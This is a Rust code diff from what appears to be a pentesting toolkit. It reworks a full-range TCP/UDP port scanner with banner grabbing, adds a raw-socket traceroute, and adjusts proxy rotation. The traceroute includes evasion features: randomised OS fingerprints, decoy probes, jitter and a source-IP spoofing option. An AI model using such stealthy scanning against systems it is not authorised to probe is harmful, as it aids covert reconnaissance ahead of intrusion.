progress_bar.lock().unwrap().increment();
});
tasks.push(handle);
}
// UDP Scan loop
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
for port in 1..=65535u16 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let file = file.clone();
let progress_bar = progress_bar.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", target, port, status);
if let Some(status) = scan_udp(&ip, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", ip_str, port, status);
if status == "OPEN" || !show_only_open {
writeln!(file, "{}", line).ok();
let _ = writeln!(file.lock().unwrap(), "{}", line);
if verbose {
println!("{}", line);
}
}
}
progress_bar.lock().unwrap().increment();
});
tasks.push(handle);
}
}
// Await all tasks
for task in tasks {
let _ = task.await;
}
@@ -131,12 +141,13 @@ pub async fn run_with_settings(
Ok(())
}
/// TCP connect scan + banner grab
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = format!("{}:{}", ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
/// === TCP Port Scanner (Banner Grab) ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0; 1024];
let mut buf = [0u8; 1024];
// Try reading immediately if service gives banner (FTP, SMTP, HTTP, etc)
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
@@ -153,52 +164,42 @@ async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, Str
}
}
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port);
let remote = match normalize_addr(&remote) {
Ok(addr) => addr,
Err(_) => return None,
/// === UDP Port Scanner (Stateless "Fire-and-Forget") ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
// We bind to a random UDP port on localhost
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", &remote).await;
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10"; // Random small packet
let _ = sock.send_to(payload, target).await;
// Set a timeout: if port is closed, we should get "Connection refused"
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
Ok(Ok((_n, _))) => Some("OPEN".into()),
_ => None,
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()), // Got a response!
Ok(Err(_)) => Some("CLOSED".into()), // ICMP port unreachable
Err(_) => Some("FILTERED".into()), // No response
}
}
/// Normalize IP/hostname for bracket handling and clean input
fn normalize_target(input: &str) -> Result<String> {
let input = input.trim().trim_start_matches('[').trim_end_matches(']').trim();
if input.contains(':') && !input.contains('.') {
// Likely IPv6, re-add brackets
Ok(format!("[{}]", input))
} else {
Ok(input.to_string())
}
}
/// Normalize and parse into a real SocketAddr
fn normalize_addr(input: &str) -> Result<SocketAddr> {
// Remove extra brackets first
/// === Target Resolution ===
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
// If IPv6, wrap again properly
let formatted = if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]", cleaned)
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
// Prefer IPv4, else fallback to first address
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
Ok((addr.ip().to_string(), addr.ip()))
} else {
cleaned.to_string()
};
let addrs = formatted.to_socket_addrs()?;
addrs.into_iter().next().ok_or_else(|| anyhow::anyhow!("Invalid address"))
Err(anyhow!("Could not resolve target '{}'", input))
}
}
/// Prompt for string input
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
@@ -207,7 +208,6 @@ fn prompt(message: &str) -> Result<String> {
Ok(buf.trim().to_string())
}
/// Prompt for boolean yes/no
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
@@ -219,7 +219,6 @@ fn prompt_bool(message: &str) -> Result<bool> {
}
}
/// Prompt for number input
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
@@ -229,3 +228,20 @@ fn prompt_usize(message: &str) -> Result<usize> {
println!("Please enter a valid number.");
}
}
/// === Progress Bar Struct ===
struct ProgressBar {
total: usize,
current: usize,
}
impl ProgressBar {
fn new(total: usize) -> Self {
ProgressBar { total, current: 0 }
}
fn increment(&mut self) {
self.current += 1;
if self.current % 1000 == 0 || self.current == self.total {
println!("[*] Progress: {}/{}", self.current, self.total);
}
}
}
@@ -0,0 +1,444 @@
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
use pnet_packet::udp::{self, MutableUdpPacket};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use pnet_packet::icmp::IcmpPacket;
use std::sync::Arc;
use rand::Rng;
use rand::distr::Alphanumeric;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::io::{stdin, stdout, Write};
use tokio::time::{Instant, Duration};
use tokio::task;
use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, bail};
use std::mem::MaybeUninit;
const IPV4_FLAG_DF: u16 = 2;
const USE_RANDOM_OS_SIG: bool = true;
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
const MAX_TTL: u8 = 30;
const PROBE_COUNT: usize = 3;
const DECOY_PROB: f64 = 0.35;
#[derive(Debug, Clone)]
struct OsSignatureParams {
id: u16,
tos: u8,
df_flag: bool,
}
fn generate_os_signature() -> OsSignatureParams {
let mut rng = rand::rng();
if !USE_RANDOM_OS_SIG {
return OsSignatureParams {
id: rng.random(),
tos: 0,
df_flag: false,
};
}
let sigs = [
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
];
sigs[rng.random_range(0..sigs.len())].clone()
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ProbeProtocolType {
Icmp,
Udp,
Tcp,
}
impl ProbeProtocolType {
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
match self {
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
}
}
fn to_string_lc(&self) -> String {
match self {
ProbeProtocolType::Icmp => "icmp".to_string(),
ProbeProtocolType::Udp => "udp".to_string(),
ProbeProtocolType::Tcp => "tcp".to_string(),
}
}
}
#[derive(Debug)]
struct ReceivedIcmpInfo {
icmp_type: u8,
description: String,
}
#[derive(Debug)]
struct ProbeSingleResponse {
source_ip: Ipv4Addr,
rtt_ms: f32,
icmp_info: ReceivedIcmpInfo,
probe_protocol_used: String,
}
fn craft_probe_packet(
dst_ip: Ipv4Addr,
current_ttl: u8,
src_ip_override: Option<Ipv4Addr>,
icmp_id_val: u16,
icmp_seq_val: u16,
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
const IPV4_HEADER_LEN: usize = 20;
let mut rng = rand::rng();
let sig = generate_os_signature();
let mut protocol_type = ProbeProtocolType::Icmp;
if rng.random_bool(DECOY_PROB) {
protocol_type = if rng.random_bool(0.5) {
ProbeProtocolType::Udp
} else {
ProbeProtocolType::Tcp
};
}
let payload_size = rng.random_range(24..=56);
let payload: Vec<u8> = rng.clone()
.sample_iter(&Alphanumeric)
.take(payload_size)
.map(|c| c as u8)
.collect();
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).unwrap();
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
pkt.set_acknowledgement(0);
pkt.set_data_offset(5);
pkt.set_flags(TcpFlags::SYN);
pkt.set_window(rng.random_range(1024..=65535));
pkt.set_urgent_ptr(0);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
};
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
ip.set_identification(sig.id);
ip.set_ttl(current_ttl);
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
ip.set_source(src_ip);
ip.set_destination(dst_ip);
ip.set_dscp(sig.tos >> 2);
ip.set_ecn(sig.tos & 0x03);
let mut flags = 0;
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap());
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
Ok((ip_buf, protocol_type, sig))
}
async fn send_and_receive_one(
target_final_dst_ip: Ipv4Addr,
probe_packet_bytes: &[u8],
probe_protocol: ProbeProtocolType,
probe_ip_id: u16,
probe_icmp_echo_id: u16,
probe_icmp_echo_seq: u16,
timeout: Duration,
) -> Result<Option<ProbeSingleResponse>> {
let sender_socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create sender raw socket")?;
sender_socket
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL on sender socket")?;
let receiver_socket = Arc::new(
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
.context("Failed to create receiver raw socket for ICMP")?,
);
receiver_socket
.set_read_timeout(Some(Duration::from_millis(200)))
.context("Failed to set read timeout on receiver socket")?;
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
sender_socket
.send_to(probe_packet_bytes, &dst_addr.into())
.context("Failed to send raw IP packet")?;
let start = Instant::now();
loop {
if start.elapsed() >= timeout {
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
if let Some((data, sa)) = recv? {
let rtt = start.elapsed().as_secs_f32() * 1000.0;
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
let icmp_type = icmp_pkt.get_icmp_type();
let _ = icmp_pkt.get_icmp_code();
let mut matched = false;
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
let proto = inner.get_next_level_protocol();
match probe_protocol {
ProbeProtocolType::Icmp => {
if proto == IpNextHeaderProtocols::Icmp {
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
&& echo_req.get_identifier() == probe_icmp_echo_id
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
{
matched = true;
}
}
}
}
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
if proto == probe_protocol.to_ip_next_header_protocol() {
matched = true;
}
}
}
}
}
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
if reply.get_identifier() == probe_icmp_echo_id
&& reply.get_sequence_number() == probe_icmp_echo_seq
&& responder == target_final_dst_ip
{
matched = true;
}
}
}
if matched {
let desc = match icmp_type {
IcmpTypes::EchoReply => "echo-reply".to_string(),
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
_ => format!("type {}", icmp_type.0),
};
return Ok(Some(ProbeSingleResponse {
source_ip: responder,
rtt_ms: rtt,
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
probe_protocol_used: probe_protocol.to_string_lc(),
}));
}
}
}
}
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
async fn execute_traceroute(target_name: &str) -> Result<()> {
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
.await
.with_context(|| format!("Could not resolve target: {}", target_name))?;
let mut target_ipv4: Option<Ipv4Addr> = None;
for sock_addr in resolved_ips {
if let IpAddr::V4(ipv4) = sock_addr.ip() {
target_ipv4 = Some(ipv4);
break;
}
}
let dst_ip = match target_ipv4 {
Some(ip) => ip,
None => bail!("Could not resolve {} to an IPv4 address", target_name),
};
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
let mut rng = rand::rng();
for ttl_val in 1..=MAX_TTL {
let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
let mut ttl_responded = false;
for _probe_idx in 0..PROBE_COUNT {
let icmp_probe_id = rng.random_range(33434..=65535);
let icmp_probe_seq = ttl_val as u16;
let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
dst_ip,
ttl_val,
src_ip_override_opt,
icmp_probe_id,
icmp_probe_seq,
)?;
let _t0 = Instant::now();
let response = send_and_receive_one(
dst_ip,
&packet_bytes,
protocol_used,
os_sig_params.id,
icmp_probe_id,
icmp_probe_seq,
Duration::from_secs(2),
).await?;
if let Some(res) = response {
ttl_responded = true;
let rtt_str = format!("{:.1}ms", res.rtt_ms);
print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
print!("{} ", res.icmp_info.description);
println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
if res.source_ip == dst_ip {
if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
(res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
return Ok(());
}
}
}
let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
}
if !ttl_responded {
println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
}
}
Ok(())
}
pub async fn run(target: &str) -> Result<()> {
let mut user_input = String::new();
print!("Are you running this as sudo? (yes/no): ");
stdout().flush().unwrap();
stdin().read_line(&mut user_input).expect("Failed to read line");
if user_input.trim().to_lowercase() == "yes" {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
println!("don't lie");
std::process::exit(1);
}
} else if user_input.trim().to_lowercase() == "no" {
println!("Please run this script as sudo.");
std::process::exit(1);
} else {
println!("Invalid input. Exiting.");
std::process::exit(1);
}
println!("by suicidalteddy");
println!("github.com/s-b-repo");
println!("medium.com/@suicdalteddy/about");
if target.is_empty() {
bail!("No target provided.");
}
execute_traceroute(target).await.map_err(|e| {
eprintln!("{}", format!("[-] Error: {}", e).red());
e
})
}
+8 -11
View File
@@ -1,7 +1,7 @@
use crate::commands;
use crate::utils;
use anyhow::Result;
use rand::prelude::*; // Updated for rand 0.10
use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
use std::env;
use std::io::{self, Write};
use std::collections::HashSet;
@@ -188,20 +188,17 @@ pub async fn interactive_shell() -> Result<()> {
/// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
let untried: Vec<&String> = proxy_list.iter()
let mut rng = rand::rng();
let choices: Vec<&String> = proxy_list
.iter()
.filter(|p| !tried_proxies.contains(*p))
.collect();
if untried.is_empty() {
// Fall back if somehow there's nothing untried
let mut rng = rand::rng();
let idx = rng.random_range(0..proxy_list.len());
return proxy_list[idx].clone();
if let Some(choice) = choices.choose(&mut rng) {
choice.to_string()
} else {
proxy_list.choose(&mut rng).unwrap().to_string()
}
let mut rng = rand::rng();
let idx = rng.random_range(0..untried.len());
untried[idx].clone()
}
/// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)